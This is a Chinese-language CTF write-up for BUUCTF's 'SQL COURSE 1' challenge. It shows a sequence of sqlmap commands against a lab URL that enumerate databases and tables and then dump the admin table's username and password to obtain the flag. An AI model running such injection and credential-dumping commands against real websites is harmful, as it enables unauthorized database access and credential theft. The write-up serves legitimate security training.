BUU SQL COURSE 1 1
本文记录了通过SQL注入获取网站登录凭证的过程。首先发现网站存在SQL注入漏洞,使用sqlmap工具对/content_detail.php?id=1参数进行注入测试。通过扫描确定可注入参数后,依次查询数据库、表结构,最终从news数据库的admin表中获取到username和password字段值。将获取的凭证输入登录界面后成功获取flag。整个过程展示了如何利用sqlmap工具进行数据库信息提
进入题目界面,先尝试登录

尝试admin或者其它登录信息,报出同样的错误弹窗,说明在这里难以找到有用的提示。
联系题目名称,这题应该是一个sql注入攻击。
回到主界面,分别点击测试新闻1、2、3,注意到顶部链接有变化



用BP进行抓包,尝试找出有用的信息

抓包发现,我们访问链接时,存在一个/backend/content_detail.php?id=1的get请求
我们打开sqlmap,对这个链接进行扫描
python sqlmap.py -u "http://41af2dec-e63f-46d6-97b7-770a68053968.node5.buuoj.cn:81/backend/content_detail.php?id=1"
有询问就全部Y

如上图。扫描到id是可注入参数。那就直接用它来查数据库
python sqlmap.py -u "http://41af2dec-e63f-46d6-97b7-770a68053968.node5.buuoj.cn:81/backend/content_detail.php?id=1" --dbs
结果如下图

下一步该查表了,但我们不知道该从哪个库中开始查,只能凭直觉选择。这里经过多次试错,最终定位为news库。为了节省篇幅,不再进行错误示范。
对news进行查表。
python sqlmap.py -u "http://41af2dec-e63f-46d6-97b7-770a68053968.node5.buuoj.cn:81/backend/content_detail.php?id=1" -D news --tables
结果如下图

继续凭直觉选择,通常admin中的信息比较有价值。
python sqlmap.py -u "http://41af2dec-e63f-46d6-97b7-770a68053968.node5.buuoj.cn:81/backend/content_detail.php?id=1" -D news -T admin --columns
结果如下图

username和password就是我们要找的登录信息了。现在对数据进行转储显示
python sqlmap.py -u "http://41af2dec-e63f-46d6-97b7-770a68053968.node5.buuoj.cn:81/backend/content_detail.php?id=1" -D news -T admin -c password,username --dump
遇到do you want to crack them via a dictionary-based attack? [Y/n/q] 记得n拒绝,这个指令的意思是使用本地词典来破解数据,本题中不需要。
结果如下图所示

将账号密码输入登录界面,flag就出来了。

更多推荐

所有评论(0)